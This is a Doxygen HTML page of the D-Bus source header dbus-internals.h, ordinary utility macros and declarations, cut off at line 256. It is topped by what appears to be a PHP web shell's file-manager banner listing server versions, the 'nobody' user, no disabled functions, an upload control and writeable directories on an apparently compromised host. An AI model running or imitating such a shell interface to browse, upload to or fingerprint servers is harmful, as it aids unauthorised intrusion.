KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/devhelp/books/dbus/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/devhelp/books/dbus/api/dbus-internals_8h-source.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
<title>D-Bus: dbus-internals.h Source File</title>
<link href="doxygen.css" rel="stylesheet" type="text/css">
<link href="tabs.css" rel="stylesheet" type="text/css">
</head><body>
<!-- Generated by Doxygen 1.4.7 -->
<div class="tabs">
  <ul>
    <li><a href="index.html"><span>Main&nbsp;Page</span></a></li>
    <li><a href="modules.html"><span>Modules</span></a></li>
    <li><a href="annotated.html"><span>Data&nbsp;Structures</span></a></li>
    <li id="current"><a href="files.html"><span>Files</span></a></li>
    <li><a href="pages.html"><span>Related&nbsp;Pages</span></a></li>
  </ul></div>
<h1>dbus-internals.h</h1><div class="fragment"><pre class="fragment"><a name="l00001"></a>00001 <span class="comment">/* -*- mode: C; c-file-style: "gnu"; indent-tabs-mode: nil; -*- */</span>
<a name="l00002"></a>00002 <span class="comment">/* dbus-internals.h  random utility stuff (internal to D-Bus implementation)</span>
<a name="l00003"></a>00003 <span class="comment"> *</span>
<a name="l00004"></a>00004 <span class="comment"> * Copyright (C) 2002, 2003  Red Hat, Inc.</span>
<a name="l00005"></a>00005 <span class="comment"> *</span>
<a name="l00006"></a>00006 <span class="comment"> * Licensed under the Academic Free License version 2.1</span>
<a name="l00007"></a>00007 <span class="comment"> * </span>
<a name="l00008"></a>00008 <span class="comment"> * This program is free software; you can redistribute it and/or modify</span>
<a name="l00009"></a>00009 <span class="comment"> * it under the terms of the GNU General Public License as published by</span>
<a name="l00010"></a>00010 <span class="comment"> * the Free Software Foundation; either version 2 of the License, or</span>
<a name="l00011"></a>00011 <span class="comment"> * (at your option) any later version.</span>
<a name="l00012"></a>00012 <span class="comment"> *</span>
<a name="l00013"></a>00013 <span class="comment"> * This program is distributed in the hope that it will be useful,</span>
<a name="l00014"></a>00014 <span class="comment"> * but WITHOUT ANY WARRANTY; without even the implied warranty of</span>
<a name="l00015"></a>00015 <span class="comment"> * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the</span>
<a name="l00016"></a>00016 <span class="comment"> * GNU General Public License for more details.</span>
<a name="l00017"></a>00017 <span class="comment"> * </span>
<a name="l00018"></a>00018 <span class="comment"> * You should have received a copy of the GNU General Public License</span>
<a name="l00019"></a>00019 <span class="comment"> * along with this program; if not, write to the Free Software</span>
<a name="l00020"></a>00020 <span class="comment"> * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA</span>
<a name="l00021"></a>00021 <span class="comment"> *</span>
<a name="l00022"></a>00022 <span class="comment"> */</span>
<a name="l00023"></a>00023 <span class="preprocessor">#ifdef DBUS_INSIDE_DBUS_H</span>
<a name="l00024"></a>00024 <span class="preprocessor"></span><span class="preprocessor">#error "You can't include dbus-internals.h in the public header dbus.h"</span>
<a name="l00025"></a>00025 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
<a name="l00026"></a>00026 <span class="preprocessor"></span>
<a name="l00027"></a>00027 <span class="preprocessor">#ifndef DBUS_INTERNALS_H</span>
<a name="l00028"></a>00028 <span class="preprocessor"></span><span class="preprocessor">#define DBUS_INTERNALS_H</span>
<a name="l00029"></a>00029 <span class="preprocessor"></span>
<a name="l00030"></a>00030 <span class="preprocessor">#include &lt;config.h&gt;</span>
<a name="l00031"></a>00031 
<a name="l00032"></a>00032 <span class="preprocessor">#include &lt;dbus/dbus-memory.h&gt;</span>
<a name="l00033"></a>00033 <span class="preprocessor">#include &lt;dbus/dbus-types.h&gt;</span>
<a name="l00034"></a>00034 <span class="preprocessor">#include &lt;dbus/dbus-errors.h&gt;</span>
<a name="l00035"></a>00035 <span class="preprocessor">#include &lt;dbus/dbus-sysdeps.h&gt;</span>
<a name="l00036"></a>00036 <span class="preprocessor">#include &lt;dbus/dbus-threads-internal.h&gt;</span>
<a name="l00037"></a>00037 
<a name="l00038"></a>00038 <a class="code" href="group__DBusMacros.html#g875146b01015e9ced22b25d76d549ab2">DBUS_BEGIN_DECLS</a>
<a name="l00039"></a>00039 
<a name="l00040"></a>00040 <span class="preprocessor">#define DBUS_SESSION_BUS_DEFAULT_ADDRESS        "autolaunch:"</span>
<a name="l00041"></a>00041 <span class="preprocessor"></span>
<a name="l00042"></a>00042 <span class="keywordtype">void</span> <a class="code" href="group__DBusInternalsUtils.html#gbea2c16d6d3fe7c4eb5b9496fc877f84">_dbus_warn</a>               (<span class="keyword">const</span> <span class="keywordtype">char</span> *format,
<a name="l00043"></a>00043                                ...) <a class="code" href="group__DBusSysdeps.html#g82deb666b1c07aa5d0822137521994e9">_DBUS_GNUC_PRINTF</a> (1, 2);
<a name="l00044"></a>00044 
<a name="l00045"></a>00045 <span class="keywordtype">void</span> <a class="code" href="group__DBusInternalsUtils.html#g63f2f8a068454b781f214ba596e313b4">_dbus_warn_check_failed</a>  (const <span class="keywordtype">char</span> *format,
<a name="l00046"></a>00046                                ...) <a class="code" href="group__DBusSysdeps.html#g82deb666b1c07aa5d0822137521994e9">_DBUS_GNUC_PRINTF</a> (1, 2);
<a name="l00047"></a>00047 
<a name="l00048"></a>00048 
<a name="l00049"></a>00049 <span class="preprocessor">#if defined (__STDC_VERSION__) &amp;&amp; (__STDC_VERSION__ &gt;= 199901L)</span>
<a name="l00050"></a>00050 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_FUNCTION_NAME __func__</span>
<a name="l00051"></a>00051 <span class="preprocessor"></span><span class="preprocessor">#elif defined(__GNUC__) || defined(_MSC_VER)</span>
<a name="l00052"></a>00052 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_FUNCTION_NAME __FUNCTION__</span>
<a name="l00053"></a>00053 <span class="preprocessor"></span><span class="preprocessor">#else</span>
<a name="l00054"></a>00054 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_FUNCTION_NAME "unknown function"</span>
<a name="l00055"></a>00055 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
<a name="l00056"></a>00056 <span class="preprocessor"></span>
<a name="l00057"></a>00057 <span class="comment">/*</span>
<a name="l00058"></a>00058 <span class="comment"> * (code from GLib)</span>
<a name="l00059"></a>00059 <span class="comment"> * </span>
<a name="l00060"></a>00060 <span class="comment"> * The _DBUS_LIKELY and _DBUS_UNLIKELY macros let the programmer give hints to </span>
<a name="l00061"></a>00061 <span class="comment"> * the compiler about the expected result of an expression. Some compilers</span>
<a name="l00062"></a>00062 <span class="comment"> * can use this information for optimizations.</span>
<a name="l00063"></a>00063 <span class="comment"> *</span>
<a name="l00064"></a>00064 <span class="comment"> * The _DBUS_BOOLEAN_EXPR macro is intended to trigger a gcc warning when</span>
<a name="l00065"></a>00065 <span class="comment"> * putting assignments in the macro arg</span>
<a name="l00066"></a>00066 <span class="comment"> */</span>
<a name="l00067"></a>00067 <span class="preprocessor">#if defined(__GNUC__) &amp;&amp; (__GNUC__ &gt; 2) &amp;&amp; defined(__OPTIMIZE__)</span>
<a name="l00068"></a>00068 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_BOOLEAN_EXPR(expr)                \</span>
<a name="l00069"></a>00069 <span class="preprocessor"> __extension__ ({                               \</span>
<a name="l00070"></a>00070 <span class="preprocessor">   int _dbus_boolean_var_;                      \</span>
<a name="l00071"></a>00071 <span class="preprocessor">   if (expr)                                    \</span>
<a name="l00072"></a>00072 <span class="preprocessor">      _dbus_boolean_var_ = 1;                   \</span>
<a name="l00073"></a>00073 <span class="preprocessor">   else                                         \</span>
<a name="l00074"></a>00074 <span class="preprocessor">      _dbus_boolean_var_ = 0;                   \</span>
<a name="l00075"></a>00075 <span class="preprocessor">   _dbus_boolean_var_;                          \</span>
<a name="l00076"></a>00076 <span class="preprocessor">})</span>
<a name="l00077"></a>00077 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_LIKELY(expr) (__builtin_expect (_DBUS_BOOLEAN_EXPR(expr), 1))</span>
<a name="l00078"></a>00078 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_UNLIKELY(expr) (__builtin_expect (_DBUS_BOOLEAN_EXPR(expr), 0))</span>
<a name="l00079"></a>00079 <span class="preprocessor"></span><span class="preprocessor">#else</span>
<a name="l00080"></a>00080 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_LIKELY(expr) (expr)</span>
<a name="l00081"></a>00081 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_UNLIKELY(expr) (expr)</span>
<a name="l00082"></a>00082 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
<a name="l00083"></a>00083 <span class="preprocessor"></span>
<a name="l00084"></a>00084 <span class="preprocessor">#ifdef DBUS_ENABLE_VERBOSE_MODE</span>
<a name="l00085"></a>00085 <span class="preprocessor"></span>
<a name="l00086"></a>00086 <span class="keywordtype">void</span> _dbus_verbose_real       (<span class="keyword">const</span> <span class="keywordtype">char</span> *format,
<a name="l00087"></a>00087                                ...) _DBUS_GNUC_PRINTF (1, 2);
<a name="l00088"></a>00088 <span class="keywordtype">void</span> _dbus_verbose_reset_real (<span class="keywordtype">void</span>);
<a name="l00089"></a>00089 <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a> _dbus_is_verbose_real (<span class="keywordtype">void</span>);
<a name="l00090"></a>00090 
<a name="l00091"></a>00091 <span class="preprocessor">#  define _dbus_verbose _dbus_verbose_real</span>
<a name="l00092"></a>00092 <span class="preprocessor"></span><span class="preprocessor">#  define _dbus_verbose_reset _dbus_verbose_reset_real</span>
<a name="l00093"></a>00093 <span class="preprocessor"></span><span class="preprocessor">#  define _dbus_is_verbose _dbus_is_verbose_real</span>
<a name="l00094"></a>00094 <span class="preprocessor"></span><span class="preprocessor">#else</span>
<a name="l00095"></a>00095 <span class="preprocessor"></span><span class="preprocessor">#  ifdef HAVE_ISO_VARARGS</span>
<a name="l00096"></a>00096 <span class="preprocessor"></span><span class="preprocessor">#    define _dbus_verbose(...)</span>
<a name="l00097"></a>00097 <span class="preprocessor"></span><span class="preprocessor">#  elif defined (HAVE_GNUC_VARARGS)</span>
<a name="l00098"></a>00098 <span class="preprocessor"></span><span class="preprocessor">#    define _dbus_verbose(format...)</span>
<a name="l00099"></a>00099 <span class="preprocessor"></span><span class="preprocessor">#  else</span>
<a name="l00100"></a>00100 <span class="preprocessor"></span><span class="preprocessor">#    error "This compiler does not support varargs macros and thus verbose mode can't be disabled meaningfully"</span>
<a name="l00101"></a>00101 <span class="preprocessor"></span><span class="preprocessor">#  endif</span>
<a name="l00102"></a>00102 <span class="preprocessor"></span><span class="preprocessor">#  define _dbus_verbose_reset()</span>
<a name="l00103"></a>00103 <span class="preprocessor"></span><span class="preprocessor">#  define _dbus_is_verbose() FALSE </span>
<a name="l00104"></a>00104 <span class="preprocessor"></span><span class="preprocessor">#endif </span><span class="comment">/* !DBUS_ENABLE_VERBOSE_MODE */</span>
<a name="l00105"></a>00105 
<a name="l00106"></a>00106 <span class="keyword">const</span> <span class="keywordtype">char</span>* _dbus_strerror (<span class="keywordtype">int</span> error_number);
<a name="l00107"></a>00107 
<a name="l00108"></a>00108 <span class="preprocessor">#ifdef DBUS_DISABLE_ASSERT</span>
<a name="l00109"></a><a class="code" href="group__DBusInternalsUtils.html#g129c6c03f011cdc171934d5d386cc797">00109</a> <span class="preprocessor"></span><span class="preprocessor">#define _dbus_assert(condition)</span>
<a name="l00110"></a>00110 <span class="preprocessor"></span><span class="preprocessor">#else</span>
<a name="l00111"></a>00111 <span class="preprocessor"></span><span class="keywordtype">void</span> _dbus_real_assert (<a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a>  condition,
<a name="l00112"></a>00112                         <span class="keyword">const</span> <span class="keywordtype">char</span>  *condition_text,
<a name="l00113"></a>00113                         <span class="keyword">const</span> <span class="keywordtype">char</span>  *file,
<a name="l00114"></a>00114                         <span class="keywordtype">int</span>          line,
<a name="l00115"></a>00115                         <span class="keyword">const</span> <span class="keywordtype">char</span>  *func);
<a name="l00116"></a>00116 <span class="preprocessor">#define _dbus_assert(condition)                                         \</span>
<a name="l00117"></a>00117 <span class="preprocessor">  _dbus_real_assert ((condition) != 0, #condition, __FILE__, __LINE__, _DBUS_FUNCTION_NAME)</span>
<a name="l00118"></a>00118 <span class="preprocessor"></span><span class="preprocessor">#endif </span><span class="comment">/* !DBUS_DISABLE_ASSERT */</span>
<a name="l00119"></a>00119 
<a name="l00120"></a>00120 <span class="preprocessor">#ifdef DBUS_DISABLE_ASSERT</span>
<a name="l00121"></a><a class="code" href="group__DBusInternalsUtils.html#g0c4961ec784874f1b1f3aeccea8d3da1">00121</a> <span class="preprocessor"></span><span class="preprocessor">#define _dbus_assert_not_reached(explanation)</span>
<a name="l00122"></a>00122 <span class="preprocessor"></span><span class="preprocessor">#else</span>
<a name="l00123"></a>00123 <span class="preprocessor"></span><span class="keywordtype">void</span> _dbus_real_assert_not_reached (<span class="keyword">const</span> <span class="keywordtype">char</span> *explanation,
<a name="l00124"></a>00124                                     <span class="keyword">const</span> <span class="keywordtype">char</span> *file,
<a name="l00125"></a>00125                                     <span class="keywordtype">int</span>         line) <a class="code" href="group__DBusSysdeps.html#g5615583c727831b5e597f675427802a4">_DBUS_GNUC_NORETURN</a>;
<a name="l00126"></a>00126 <span class="preprocessor">#define _dbus_assert_not_reached(explanation)                                   \</span>
<a name="l00127"></a>00127 <span class="preprocessor">  _dbus_real_assert_not_reached (explanation, __FILE__, __LINE__)</span>
<a name="l00128"></a>00128 <span class="preprocessor"></span><span class="preprocessor">#endif </span><span class="comment">/* !DBUS_DISABLE_ASSERT */</span>
<a name="l00129"></a>00129 
<a name="l00130"></a>00130 <span class="preprocessor">#ifdef DBUS_DISABLE_CHECKS</span>
<a name="l00131"></a>00131 <span class="preprocessor"></span><span class="preprocessor">#define _dbus_return_if_fail(condition)</span>
<a name="l00132"></a>00132 <span class="preprocessor"></span><span class="preprocessor">#define _dbus_return_val_if_fail(condition, val)</span>
<a name="l00133"></a>00133 <span class="preprocessor"></span><span class="preprocessor">#else</span>
<a name="l00134"></a>00134 <span class="preprocessor"></span><span class="keyword">extern</span> <span class="keyword">const</span> <span class="keywordtype">char</span> <a class="code" href="group__DBusInternalsUtils.html#g7599f9e4a6b9551b28e68b51b66851d3">_dbus_return_if_fail_warning_format</a>[];
<a name="l00135"></a>00135 
<a name="l00136"></a>00136 <span class="preprocessor">#define _dbus_return_if_fail(condition) do {                                       \</span>
<a name="l00137"></a>00137 <span class="preprocessor">   _dbus_assert ((*(const char*)_DBUS_FUNCTION_NAME) != '_');                      \</span>
<a name="l00138"></a>00138 <span class="preprocessor">  if (!(condition)) {                                                              \</span>
<a name="l00139"></a>00139 <span class="preprocessor">    _dbus_warn_check_failed (_dbus_return_if_fail_warning_format,                  \</span>
<a name="l00140"></a>00140 <span class="preprocessor">                             _DBUS_FUNCTION_NAME, #condition, __FILE__, __LINE__); \</span>
<a name="l00141"></a>00141 <span class="preprocessor">    return;                                                                        \</span>
<a name="l00142"></a>00142 <span class="preprocessor">  } } while (0)</span>
<a name="l00143"></a>00143 <span class="preprocessor"></span>
<a name="l00144"></a>00144 <span class="preprocessor">#define _dbus_return_val_if_fail(condition, val) do {                                   \</span>
<a name="l00145"></a>00145 <span class="preprocessor">   _dbus_assert ((*(const char*)_DBUS_FUNCTION_NAME) != '_');                           \</span>
<a name="l00146"></a>00146 <span class="preprocessor">  if (!(condition)) {                                                                   \</span>
<a name="l00147"></a>00147 <span class="preprocessor">    _dbus_warn_check_failed (_dbus_return_if_fail_warning_format,                       \</span>
<a name="l00148"></a>00148 <span class="preprocessor">                             _DBUS_FUNCTION_NAME, #condition, __FILE__, __LINE__);      \</span>
<a name="l00149"></a>00149 <span class="preprocessor">    return (val);                                                                       \</span>
<a name="l00150"></a>00150 <span class="preprocessor">  } } while (0)</span>
<a name="l00151"></a>00151 <span class="preprocessor"></span>
<a name="l00152"></a>00152 <span class="preprocessor">#endif </span><span class="comment">/* !DBUS_DISABLE_ASSERT */</span>
<a name="l00153"></a>00153 
<a name="l00154"></a><a class="code" href="group__DBusInternalsUtils.html#gc153abad46f4eb80999a2b340d29d1f0">00154</a> <span class="preprocessor">#define _DBUS_N_ELEMENTS(array) ((int) (sizeof ((array)) / sizeof ((array)[0])))</span>
<a name="l00155"></a>00155 <span class="preprocessor"></span>
<a name="l00156"></a><a class="code" href="group__DBusInternalsUtils.html#gbbd3526a2ecd65da80b9f74ac286273d">00156</a> <span class="preprocessor">#define _DBUS_POINTER_TO_INT(pointer) ((long)(pointer))</span>
<a name="l00157"></a><a class="code" href="group__DBusInternalsUtils.html#g05e902d8504a8a0e0b183fd2e20e329f">00157</a> <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_INT_TO_POINTER(integer) ((void*)((long)(integer)))</span>
<a name="l00158"></a>00158 <span class="preprocessor"></span>
<a name="l00159"></a><a class="code" href="group__DBusInternalsUtils.html#gec42589166158b1385d5f5439318cda2">00159</a> <span class="preprocessor">#define _DBUS_ZERO(object) (memset (&amp;(object), '\0', sizeof ((object))))</span>
<a name="l00160"></a>00160 <span class="preprocessor"></span>
<a name="l00161"></a>00161 <span class="preprocessor">#define _DBUS_STRUCT_OFFSET(struct_type, member)        \</span>
<a name="l00162"></a>00162 <span class="preprocessor">    ((long) ((unsigned char*) &amp;((struct_type*) 0)-&gt;member))</span>
<a name="l00163"></a>00163 <span class="preprocessor"></span>
<a name="l00164"></a>00164 <span class="preprocessor">#ifdef DBUS_DISABLE_CHECKS</span>
<a name="l00165"></a>00165 <span class="preprocessor"></span><span class="comment">/* this is an assert and not an error, but in the typical --disable-checks case (you're trying</span>
<a name="l00166"></a>00166 <span class="comment"> * to really minimize code size), disabling these assertions makes sense.</span>
<a name="l00167"></a>00167 <span class="comment"> */</span>
<a name="l00168"></a>00168 <span class="preprocessor">#define _DBUS_ASSERT_ERROR_IS_SET(error)</span>
<a name="l00169"></a>00169 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_ASSERT_ERROR_IS_CLEAR(error)</span>
<a name="l00170"></a>00170 <span class="preprocessor"></span><span class="preprocessor">#else</span>
<a name="l00171"></a>00171 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_ASSERT_ERROR_IS_SET(error)   _dbus_assert ((error) == NULL || dbus_error_is_set ((error)))</span>
<a name="l00172"></a>00172 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_ASSERT_ERROR_IS_CLEAR(error) _dbus_assert ((error) == NULL || !dbus_error_is_set ((error)))</span>
<a name="l00173"></a>00173 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
<a name="l00174"></a>00174 <span class="preprocessor"></span>
<a name="l00175"></a>00175 <span class="preprocessor">#define _dbus_return_if_error_is_set(error) _dbus_return_if_fail ((error) == NULL || !dbus_error_is_set ((error)))</span>
<a name="l00176"></a>00176 <span class="preprocessor"></span><span class="preprocessor">#define _dbus_return_val_if_error_is_set(error, val) _dbus_return_val_if_fail ((error) == NULL || !dbus_error_is_set ((error)), (val))</span>
<a name="l00177"></a>00177 <span class="preprocessor"></span>
<a name="l00178"></a>00178 <span class="comment">/* This alignment thing is from ORBit2 */</span>
<a name="l00179"></a>00179 <span class="comment">/* Align a value upward to a boundary, expressed as a number of bytes.</span>
<a name="l00180"></a>00180 <span class="comment"> * E.g. align to an 8-byte boundary with argument of 8.</span>
<a name="l00181"></a>00181 <span class="comment"> */</span>
<a name="l00182"></a>00182 
<a name="l00183"></a>00183 <span class="comment">/*</span>
<a name="l00184"></a>00184 <span class="comment"> *   (this + boundary - 1)</span>
<a name="l00185"></a>00185 <span class="comment"> *          &amp;</span>
<a name="l00186"></a>00186 <span class="comment"> *    ~(boundary - 1)</span>
<a name="l00187"></a>00187 <span class="comment"> */</span>
<a name="l00188"></a>00188 
<a name="l00189"></a>00189 <span class="preprocessor">#define _DBUS_ALIGN_VALUE(this, boundary) \</span>
<a name="l00190"></a>00190 <span class="preprocessor">  (( ((unsigned long)(this)) + (((unsigned long)(boundary)) -1)) &amp; (~(((unsigned long)(boundary))-1)))</span>
<a name="l00191"></a>00191 <span class="preprocessor"></span>
<a name="l00192"></a>00192 <span class="preprocessor">#define _DBUS_ALIGN_ADDRESS(this, boundary) \</span>
<a name="l00193"></a>00193 <span class="preprocessor">  ((void*)_DBUS_ALIGN_VALUE(this, boundary))</span>
<a name="l00194"></a>00194 <span class="preprocessor"></span>
<a name="l00195"></a>00195 
<a name="l00196"></a>00196 <span class="keywordtype">char</span>*       <a class="code" href="group__DBusInternalsUtils.html#g9d00d77f6595b9d7ac1baf59d44bf58c">_dbus_strdup</a>                (<span class="keyword">const</span> <span class="keywordtype">char</span>  *str);
<a name="l00197"></a>00197 <span class="keywordtype">void</span>*       <a class="code" href="group__DBusInternalsUtils.html#gad95864dca5140b730bc143cb2d1b024">_dbus_memdup</a>                (<span class="keyword">const</span> <span class="keywordtype">void</span>  *mem,
<a name="l00198"></a>00198                                          size_t       n_bytes);
<a name="l00199"></a>00199 <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a> <a class="code" href="group__DBusInternalsUtils.html#g751119e7273225a7e59787445b71fcd6">_dbus_string_array_contains</a> (<span class="keyword">const</span> <span class="keywordtype">char</span> **array,
<a name="l00200"></a>00200                                          <span class="keyword">const</span> <span class="keywordtype">char</span>  *str);
<a name="l00201"></a>00201 <span class="keywordtype">char</span>**      <a class="code" href="group__DBusInternalsUtils.html#g53bbcbbd0b564c14c599813dde535443">_dbus_dup_string_array</a>      (<span class="keyword">const</span> <span class="keywordtype">char</span> **array);
<a name="l00202"></a>00202 
<a name="l00203"></a><a class="code" href="group__DBusInternalsUtils.html#g933ce3d9d9b9298b004f2dc5020e9448">00203</a> <span class="preprocessor">#define _DBUS_INT16_MIN  ((dbus_int16_t) 0x8000)</span>
<a name="l00204"></a><a class="code" href="group__DBusInternalsUtils.html#g15a258ca83bb9819775b9f6f7a505bc4">00204</a> <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_INT16_MAX  ((dbus_int16_t) 0x7fff)</span>
<a name="l00205"></a><a class="code" href="group__DBusInternalsUtils.html#gb59f93488de3d91c4e1a2c5e5e116354">00205</a> <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_UINT16_MAX ((dbus_uint16_t)0xffff)</span>
<a name="l00206"></a><a class="code" href="group__DBusInternalsUtils.html#gc1f9d5e99c5f797b38b41b66e9c6c4ed">00206</a> <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_INT32_MIN  ((dbus_int32_t) 0x80000000)</span>
<a name="l00207"></a><a class="code" href="group__DBusInternalsUtils.html#gfe869e3145b7e32c4fb6a6741c9fc78e">00207</a> <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_INT32_MAX  ((dbus_int32_t) 0x7fffffff)</span>
<a name="l00208"></a><a class="code" href="group__DBusInternalsUtils.html#gc85046b2af0a98c51bb93300f99448da">00208</a> <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_UINT32_MAX ((dbus_uint32_t)0xffffffff)</span>
<a name="l00209"></a>00209 <span class="preprocessor"></span><span class="comment">/* using 32-bit here is sort of bogus */</span>
<a name="l00210"></a><a class="code" href="group__DBusInternalsUtils.html#g3bf800f1b6cc23f80006861d7417c8c8">00210</a> <span class="preprocessor">#define _DBUS_INT_MIN    _DBUS_INT32_MIN</span>
<a name="l00211"></a><a class="code" href="group__DBusInternalsUtils.html#g5627db5e165848477e620846f6414db1">00211</a> <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_INT_MAX    _DBUS_INT32_MAX</span>
<a name="l00212"></a><a class="code" href="group__DBusInternalsUtils.html#g6e9cfa6e6cb608d29fbdc4a50baea051">00212</a> <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_UINT_MAX   _DBUS_UINT32_MAX</span>
<a name="l00213"></a>00213 <span class="preprocessor"></span><span class="preprocessor">#ifdef DBUS_HAVE_INT64</span>
<a name="l00214"></a>00214 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_INT64_MAX  DBUS_INT64_CONSTANT  (0x7fffffffffffffff)</span>
<a name="l00215"></a>00215 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_UINT64_MAX DBUS_UINT64_CONSTANT (0xffffffffffffffff)</span>
<a name="l00216"></a>00216 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
<a name="l00217"></a>00217 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_ONE_KILOBYTE 1024</span>
<a name="l00218"></a>00218 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_ONE_MEGABYTE 1024 * _DBUS_ONE_KILOBYTE</span>
<a name="l00219"></a>00219 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_ONE_HOUR_IN_MILLISECONDS (1000 * 60 * 60)</span>
<a name="l00220"></a>00220 <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_USEC_PER_SECOND          (1000000)</span>
<a name="l00221"></a>00221 <span class="preprocessor"></span>
<a name="l00222"></a>00222 <span class="preprocessor">#undef  MAX</span>
<a name="l00223"></a>00223 <span class="preprocessor"></span><span class="preprocessor">#define MAX(a, b)  (((a) &gt; (b)) ? (a) : (b))</span>
<a name="l00224"></a>00224 <span class="preprocessor"></span>
<a name="l00225"></a>00225 <span class="preprocessor">#undef  MIN</span>
<a name="l00226"></a>00226 <span class="preprocessor"></span><span class="preprocessor">#define MIN(a, b)  (((a) &lt; (b)) ? (a) : (b))</span>
<a name="l00227"></a>00227 <span class="preprocessor"></span>
<a name="l00228"></a>00228 <span class="preprocessor">#undef  ABS</span>
<a name="l00229"></a>00229 <span class="preprocessor"></span><span class="preprocessor">#define ABS(a)     (((a) &lt; 0) ? -(a) : (a))</span>
<a name="l00230"></a>00230 <span class="preprocessor"></span>
<a name="l00231"></a>00231 <span class="preprocessor">#define _DBUS_ISASCII(c) ((c) != '\0' &amp;&amp; (((c) &amp; ~0x7f) == 0))</span>
<a name="l00232"></a>00232 <span class="preprocessor"></span>
<a name="l00233"></a><a class="code" href="group__DBusInternalsUtils.html#gadf9d45082dd1c9f59d8420d13492669">00233</a> <span class="keyword">typedef</span> void (* <a class="code" href="group__DBusInternalsUtils.html#gadf9d45082dd1c9f59d8420d13492669">DBusForeachFunction</a>) (<span class="keywordtype">void</span> *element,
<a name="l00234"></a>00234                                       <span class="keywordtype">void</span> *data);
<a name="l00235"></a>00235 
<a name="l00236"></a>00236 <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a> _dbus_set_fd_nonblocking (<span class="keywordtype">int</span>             fd,
<a name="l00237"></a>00237                                       <a class="code" href="structDBusError.html">DBusError</a>      *error);
<a name="l00238"></a>00238 
<a name="l00239"></a>00239 <span class="keywordtype">void</span> <a class="code" href="group__DBusMarshal.html#g7f3320a0b0f7633cdf5c149588ae9bd9">_dbus_verbose_bytes</a>           (<span class="keyword">const</span> <span class="keywordtype">unsigned</span> <span class="keywordtype">char</span> *data,
<a name="l00240"></a>00240                                     <span class="keywordtype">int</span>                  len,
<a name="l00241"></a>00241                                     <span class="keywordtype">int</span>                  offset);
<a name="l00242"></a>00242 <span class="keywordtype">void</span> <a class="code" href="group__DBusMarshal.html#g3926bb35edf78d114cf0c341fe3258e0">_dbus_verbose_bytes_of_string</a> (<span class="keyword">const</span> <a class="code" href="structDBusString.html">DBusString</a>    *str,
<a name="l00243"></a>00243                                     <span class="keywordtype">int</span>                  start,
<a name="l00244"></a>00244                                     <span class="keywordtype">int</span>                  len);
<a name="l00245"></a>00245 
<a name="l00246"></a>00246 <span class="keyword">const</span> <span class="keywordtype">char</span>* _dbus_header_field_to_string (<span class="keywordtype">int</span> header_field);
<a name="l00247"></a>00247 
<a name="l00248"></a>00248 <span class="keyword">extern</span> <span class="keyword">const</span> <span class="keywordtype">char</span> <a class="code" href="group__DBusInternalsUtils.html#g34ea28d688e524b6eefa9698b1940fc4">_dbus_no_memory_message</a>[];
<a name="l00249"></a>00249 <span class="preprocessor">#define _DBUS_SET_OOM(error) dbus_set_error_const ((error), DBUS_ERROR_NO_MEMORY, _dbus_no_memory_message)</span>
<a name="l00250"></a>00250 <span class="preprocessor"></span>
<a name="l00251"></a>00251 <span class="preprocessor">#ifdef DBUS_BUILD_TESTS</span>
<a name="l00252"></a>00252 <span class="preprocessor"></span><span class="comment">/* Memory debugging */</span>
<a name="l00253"></a>00253 <span class="keywordtype">void</span>        _dbus_set_fail_alloc_counter        (<span class="keywordtype">int</span>  until_next_fail);
<a name="l00254"></a>00254 <span class="keywordtype">int</span>         _dbus_get_fail_alloc_counter        (<span class="keywordtype">void</span>);
<a name="l00255"></a>00255 <span class="keywordtype">void</span>        _dbus_set_fail_alloc_failures       (<span class="keywordtype">int</span>  failures_per_failure);
<a name="l00256"></a>00256 <span class="keywordtype">int</span>         _dbus_get_fail_alloc_failures       (<span class="keywordtype">void</span>);
